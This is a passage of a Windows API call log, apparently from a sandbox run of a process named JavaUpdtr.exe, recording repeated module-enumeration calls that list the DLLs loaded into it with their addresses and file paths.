lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a [0116.351] GetLastError () returned 0x1e7 [0116.351] GetModuleInformation (in: hProcess=0x20c, hModule=0x75390000, lpmodinfo=0x27c32a4, cb=0xc | out: lpmodinfo=0x27c32a4*(lpBaseOfDll=0x75390000, SizeOfImage=0x9b000, EntryPoint=0x7539232b)) returned 1 [0116.351] GetLastError () returned 0x1e7 [0116.351] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75390000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb [0116.352] GetLastError () returned 0x1e7 [0116.352] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75390000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a [0116.352] GetLastError () returned 0x1e7 [0116.352] GetModuleInformation (in: hProcess=0x20c, hModule=0x75f40000, lpmodinfo=0x27c4438, cb=0xc | out: lpmodinfo=0x27c4438*(lpBaseOfDll=0x75f40000, SizeOfImage=0xc4a000, EntryPoint=0x75fc1601)) returned 1 [0116.353] GetLastError () returned 0x1e7 [0116.353] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75f40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb [0116.353] GetLastError () returned 0x1e7 [0116.353] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75f40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f [0116.354] GetLastError () returned 0x1e7 [0116.354] GetModuleInformation (in: hProcess=0x20c, hModule=0x75770000, lpmodinfo=0x27c5534, cb=0xc | out: lpmodinfo=0x27c5534*(lpBaseOfDll=0x75770000, SizeOfImage=0x15c000, EntryPoint=0x757bba3d)) returned 1 [0116.354] GetLastError () returned 0x1e7 [0116.354] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75770000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0116.355] GetLastError () returned 0x1e7 [0116.355] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75770000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0116.355] GetLastError () returned 0x1e7 [0116.356] GetModuleInformation (in: hProcess=0x20c, hModule=0x75290000, lpmodinfo=0x27c6628, cb=0xc | out: lpmodinfo=0x27c6628*(lpBaseOfDll=0x75290000, SizeOfImage=0xb000, EntryPoint=0x75291992)) returned 1 [0116.356] GetLastError () returned 0x1e7 [0116.356] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75290000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb [0116.356] GetLastError () returned 0x1e7 [0116.357] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75290000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f [0116.357] GetLastError () returned 0x1e7 [0116.357] GetModuleInformation (in: hProcess=0x20c, hModule=0x72ac0000, lpmodinfo=0x27c7724, cb=0xc | out: lpmodinfo=0x27c7724*(lpBaseOfDll=0x72ac0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1 [0116.358] GetLastError () returned 0x1e7 [0116.358] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x72ac0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0116.358] GetLastError () returned 0x1e7 [0116.358] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x72ac0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68 [0116.359] GetLastError () returned 0x1e7 [0116.359] GetModuleInformation (in: hProcess=0x20c, hModule=0x75440000, lpmodinfo=0x27c88bc, cb=0xc | out: lpmodinfo=0x27c88bc*(lpBaseOfDll=0x75440000, SizeOfImage=0x80000, EntryPoint=0x754537c9)) returned 1 [0116.359] GetLastError () returned 0x1e7 [0116.359] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75440000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0116.360] GetLastError () returned 0x1e7 [0116.360] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75440000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0116.360] GetLastError () returned 0x1e7 [0116.361] GetModuleInformation (in: hProcess=0x20c, hModule=0x75230000, lpmodinfo=0x27c99b8, cb=0xc | out: lpmodinfo=0x27c99b8*(lpBaseOfDll=0x75230000, SizeOfImage=0x5b000, EntryPoint=0x75274d48)) returned 1 [0116.361] GetLastError () returned 0x1e7 [0116.361] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75230000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc [0116.362] GetLastError () returned 0x1e7 [0116.362] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75230000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a [0116.362] GetLastError () returned 0x1e7 [0116.362] GetModuleInformation (in: hProcess=0x20c, hModule=0x72320000, lpmodinfo=0x27caaf0, cb=0xc | out: lpmodinfo=0x27caaf0*(lpBaseOfDll=0x72320000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1 [0116.363] GetLastError () returned 0x1e7 [0116.363] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x72320000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0116.363] GetLastError () returned 0x1e7 [0116.364] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x72320000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64 [0116.364] GetLastError () returned 0x1e7 [0116.364] GetModuleInformation (in: hProcess=0x20c, hModule=0x750a0000, lpmodinfo=0x27cbc7c, cb=0xc | out: lpmodinfo=0x27cbc7c*(lpBaseOfDll=0x750a0000, SizeOfImage=0x188000, EntryPoint=0x0)) returned 1 [0116.365] GetLastError () returned 0x1e7 [0116.365] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x750a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0116.365] GetLastError () returned 0x1e7 [0116.365] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x750a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\system.drawing.ni.dll")) returned 0x74 [0116.366] GetLastError () returned 0x1e7 [0116.366] GetModuleInformation (in: hProcess=0x20c, hModule=0x74830000, lpmodinfo=0x27cce38, cb=0xc | out: lpmodinfo=0x27cce38*(lpBaseOfDll=0x74830000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1 [0116.367] GetLastError () returned 0x1e7 [0116.367] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x74830000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0116.367] GetLastError () returned 0x1e7 [0116.367] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x74830000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81 [0116.368] GetLastError () returned 0x1e7 [0116.368] GetModuleInformation (in: hProcess=0x20c, hModule=0x746a0000, lpmodinfo=0x27ce01c, cb=0xc | out: lpmodinfo=0x27ce01c*(lpBaseOfDll=0x746a0000, SizeOfImage=0x190000, EntryPoint=0x7473d026)) returned 1 [0116.368] GetLastError () returned 0x1e7 [0116.369] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x746a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0116.369] GetLastError () returned 0x1e7 [0116.369] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x746a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0116.379] GetLastError () returned 0x1e7 [0116.379] GetModuleInformation (in: hProcess=0x20c, hModule=0x74fa0000, lpmodinfo=0x27cf1bc, cb=0xc | out: lpmodinfo=0x27cf1bc*(lpBaseOfDll=0x74fa0000, SizeOfImage=0xfb000, EntryPoint=0x74fb17e1)) returned 1 [0116.380] GetLastError () returned 0x1e7 [0116.380] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x74fa0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0116.380] GetLastError () returned 0x1e7 [0116.380] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x74fa0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0116.381] GetLastError () returned 0x1e7 [0116.381] GetModuleInformation (in: hProcess=0x20c, hModule=0x75700000, lpmodinfo=0x27d03e0, cb=0xc | out: lpmodinfo=0x27d03e0*(lpBaseOfDll=0x75700000, SizeOfImage=0x5000, EntryPoint=0x75701438)) returned 1 [0116.382] GetLastError () returned 0x1e7 [0116.382] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75700000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0116.382] GetLastError () returned 0x1e7 [0116.382] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75700000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0116.383] GetLastError () returned 0x1e7 [0116.383] CloseHandle (hObject=0x20c) returned 1 [0116.383] GetLastError () returned 0x1e7 [0116.395] GetCurrentProcessId () returned 0x4e8 [0116.395] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4e8) returned 0x20c [0116.396] GetLastError () returned 0x1e7 [0116.396] EnumProcessModules (in: hProcess=0x20c, lphModule=0x264dc90, cb=0x100, lpcbNeeded=0x31c9a8 | out: lphModule=0x264dc90, lpcbNeeded=0x31c9a8) returned 1 [0116.396] GetLastError () returned 0x1e7 [0116.396] GetModuleInformation (in: hProcess=0x20c, hModule=0xd40000, lpmodinfo=0x264ddd0, cb=0xc | out: lpmodinfo=0x264ddd0*(lpBaseOfDll=0xd40000, SizeOfImage=0xb0000, EntryPoint=0xd91d7e)) returned 1 [0116.396] GetLastError () returned 0x1e7 [0116.396] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0xd40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="JavaUpdtr.exe") returned 0xd [0116.397] GetLastError () returned 0x1e7 [0116.397] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0xd40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\JavaUpdtr.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\java\\javaupdtr.exe")) returned 0x40 [0116.397] GetLastError () returned 0x1e7 [0116.397] GetModuleInformation (in: hProcess=0x20c, hModule=0x77ac0000, lpmodinfo=0x264ef34, cb=0xc | out: lpmodinfo=0x264ef34*(lpBaseOfDll=0x77ac0000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0116.397] GetLastError () returned 0x1e7 [0116.397] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x77ac0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0116.397] GetLastError () returned 0x1e7 [0116.397] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x77ac0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0116.397] GetLastError () returned 0x1e7 [0116.398] GetModuleInformation (in: hProcess=0x20c, hModule=0x73cc0000, lpmodinfo=0x2650028, cb=0xc | out: lpmodinfo=0x2650028*(lpBaseOfDll=0x73cc0000, SizeOfImage=0x4a000, EntryPoint=0x73cc2e54)) returned 1 [0116.398] GetLastError () returned 0x1e7 [0116.398] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x73cc0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0116.398] GetLastError () returned 0x1e7 [0116.398] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x73cc0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0116.398] GetLastError () returned 0x1e7 [0116.398] GetModuleInformation (in: hProcess=0x20c, hModule=0x75930000, lpmodinfo=0x2651124, cb=0xc | out: lpmodinfo=0x2651124*(lpBaseOfDll=0x75930000, SizeOfImage=0x110000, EntryPoint=0x759432d3)) returned 1 [0116.398] GetLastError () returned 0x1e7 [0116.399] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75930000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0116.399] GetLastError () returned 0x1e7 [0116.399] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75930000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0116.399] GetLastError () returned 0x1e7 [0116.399] GetModuleInformation (in: hProcess=0x20c, hModule=0x77670000, lpmodinfo=0x2652228, cb=0xc | out: lpmodinfo=0x2652228*(lpBaseOfDll=0x77670000, SizeOfImage=0x46000, EntryPoint=0x77677478)) returned 1 [0116.399] GetLastError () returned 0x1e7 [0116.399] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x77670000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0116.399] GetLastError () returned 0x1e7 [0116.400] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x77670000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0116.400] GetLastError () returned 0x1e7 [0116.400] GetModuleInformation (in: hProcess=0x20c, hModule=0x75db0000, lpmodinfo=0x2653364, cb=0xc | out: lpmodinfo=0x2653364*(lpBaseOfDll=0x75db0000, SizeOfImage=0xa0000, EntryPoint=0x75dc49e5)) returned 1 [0116.400] GetLastError () returned 0x1e7 [0116.400] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75db0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0116.400] GetLastError () returned 0x1e7 [0116.400] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75db0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0116.401] GetLastError () returned 0x1e7 [0116.401] GetModuleInformation (in: hProcess=0x20c, hModule=0x76d40000, lpmodinfo=0x2654468, cb=0xc | out: lpmodinfo=0x2654468*(lpBaseOfDll=0x76d40000, SizeOfImage=0xac000, EntryPoint=0x76d4a472)) returned 1 [0116.401] GetLastError () returned 0x1e7 [0116.401] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x76d40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0116.401] GetLastError () returned 0x1e7 [0116.401] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x76d40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0116.401] GetLastError () returned 0x1e7 [0116.402] GetModuleInformation (in: hProcess=0x20c, hModule=0x76ec0000, lpmodinfo=0x2655564, cb=0xc | out: lpmodinfo=0x2655564*(lpBaseOfDll=0x76ec0000, SizeOfImage=0x19000, EntryPoint=0x76ec4975)) returned 1 [0116.402] GetLastError () returned 0x1e7 [0116.402] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x76ec0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0116.402] GetLastError () returned 0x1e7 [0116.402] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x76ec0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0116.402] GetLastError () returned 0x1e7 [0116.402] GetModuleInformation (in: hProcess=0x20c, hModule=0x75e50000, lpmodinfo=0x2656660, cb=0xc | out: lpmodinfo=0x2656660*(lpBaseOfDll=0x75e50000, SizeOfImage=0xf0000, EntryPoint=0x75e60569)) returned 1 [0116.403] GetLastError () returned 0x1e7 [0116.403] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75e50000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0116.403] GetLastError () returned 0x1e7 [0116.403] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75e50000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0116.403] GetLastError () returned 0x1e7 [0116.403] GetModuleInformation (in: hProcess=0x20c, hModule=0x75620000, lpmodinfo=0x26577ac, cb=0xc | out: lpmodinfo=0x26577ac*(lpBaseOfDll=0x75620000, SizeOfImage=0x60000, EntryPoint=0x7563a3b3)) returned 1 [0116.404] GetLastError () returned 0x1e7 [0116.404] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75620000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0116.404] GetLastError () returned 0x1e7 [0116.404] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75620000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0116.404] GetLastError () returned 0x1e7 [0116.404] GetModuleInformation (in: hProcess=0x20c, hModule=0x75610000, lpmodinfo=0x26588a8, cb=0xc | out: lpmodinfo=0x26588a8*(lpBaseOfDll=0x75610000, SizeOfImage=0xc000, EntryPoint=0x756110e1)) returned 1 [0116.405] GetLastError () returned 0x1e7 [0116.405] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75610000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0116.405] GetLastError () returned 0x1e7 [0116.405] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75610000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0116.405] GetLastError () returned 0x1e7 [0116.405] GetModuleInformation (in: hProcess=0x20c, hModule=0x737a0000, lpmodinfo=0x26599ac, cb=0xc | out: lpmodinfo=0x26599ac*(lpBaseOfDll=0x737a0000, SizeOfImage=0x78000, EntryPoint=0x737af7ba)) returned 1 [0116.406] GetLastError () returned 0x1e7 [0116.406] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x737a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0116.406] GetLastError () returned 0x1e7 [0116.406] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x737a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0116.406] GetLastError () returned 0x1e7 [0116.406] GetModuleInformation (in: hProcess=0x20c, hModule=0x75ba0000, lpmodinfo=0x265aae4, cb=0xc | out: lpmodinfo=0x265aae4*(lpBaseOfDll=0x75ba0000, SizeOfImage=0x57000, EntryPoint=0x75bb9ba6)) returned 1 [0116.407] GetLastError () returned 0x1e7 [0116.407] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75ba0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0116.407] GetLastError () returned 0x1e7 [0116.407] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75ba0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0116.407] GetLastError () returned 0x1e7 [0116.408] GetModuleInformation (in: hProcess=0x20c, hModule=0x75c40000, lpmodinfo=0x265bbe0, cb=0xc | out: lpmodinfo=0x265bbe0*(lpBaseOfDll=0x75c40000, SizeOfImage=0x90000, EntryPoint=0x75c56343)) returned 1 [0116.408] GetLastError () returned 0x1e7 [0116.408] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75c40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0116.408] GetLastError () returned 0x1e7 [0116.408] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75c40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0116.409] GetLastError () returned 0x1e7 [0116.409] GetModuleInformation (in: hProcess=0x20c, hModule=0x75a40000, lpmodinfo=0x265ccd4, cb=0xc | out: lpmodinfo=0x265ccd4*(lpBaseOfDll=0x75a40000, SizeOfImage=0x100000, EntryPoint=0x75a5b6ed)) returned 1 [0116.409] GetLastError () returned 0x1e7 [0116.409] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75a40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0116.409] GetLastError () returned 0x1e7 [0116.409] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75a40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0116.410] GetLastError () returned 0x1e7 [0116.410] GetModuleInformation (in: hProcess=0x20c, hModule=0x75c00000, lpmodinfo=0x265ddd0, cb=0xc | out: lpmodinfo=0x265ddd0*(lpBaseOfDll=0x75c00000, SizeOfImage=0xa000, EntryPoint=0x75c036a0)) returned 1 [0116.410] GetLastError () returned 0x1e7 [0116.410] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75c00000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0116.411] GetLastError () returned 0x1e7 [0116.411] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75c00000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0116.411] GetLastError () returned 0x1e7 [0116.411] GetModuleInformation (in: hProcess=0x20c, hModule=0x76ee0000, lpmodinfo=0x265eebc, cb=0xc | out: lpmodinfo=0x265eebc*(lpBaseOfDll=0x76ee0000, SizeOfImage=0x9d000, EntryPoint=0x76f13fd7)) returned 1 [0116.411] GetLastError () returned 0x1e7 [0116.412] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x76ee0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0116.412] GetLastError () returned 0x1e7 [0116.412] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x76ee0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0116.412] GetLastError () returned 0x1e7 [0116.412] GetModuleInformation (in: hProcess=0x20c, hModule=0x758d0000, lpmodinfo=0x2660040, cb=0xc | out: lpmodinfo=0x2660040*(lpBaseOfDll=0x758d0000, SizeOfImage=0x60000, EntryPoint=0x758e158f)) returned 1 [0116.413] GetLastError () returned 0x1e7 [0116.413] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x758d0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0116.413] GetLastError () returned 0x1e7 [0116.413] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x758d0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0116.414] GetLastError () returned 0x1e7 [0116.414] GetModuleInformation (in: hProcess=0x20c, hModule=0x76df0000, lpmodinfo=0x2661134, cb=0xc | out: lpmodinfo=0x2661134*(lpBaseOfDll=0x76df0000, SizeOfImage=0xcc000, EntryPoint=0x76df168b)) returned 1 [0116.414] GetLastError () returned 0x1e7 [0116.414] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x76df0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0116.415] GetLastError () returned 0x1e7 [0116.415] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x76df0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0116.415] GetLastError () returned 0x1e7 [0116.415] GetModuleInformation (in: hProcess=0x20c, hModule=0x75430000, lpmodinfo=0x2662228, cb=0xc | out: lpmodinfo=0x2662228*(lpBaseOfDll=0x75430000, SizeOfImage=0x9000, EntryPoint=0x75431220)) returned 1 [0116.415] GetLastError () returned 0x1e7 [0116.416] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75430000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0116.416] GetLastError () returned 0x1e7 [0116.416] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75430000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0116.416] GetLastError () returned 0x1e7 [0116.416] GetModuleInformation (in: hProcess=0x20c, hModule=0x749d0000, lpmodinfo=0x2663324, cb=0xc | out: lpmodinfo=0x2663324*(lpBaseOfDll=0x749d0000, SizeOfImage=0x5ab000, EntryPoint=0x74a23dc0)) returned 1 [0116.452] GetLastError () returned 0x1e7 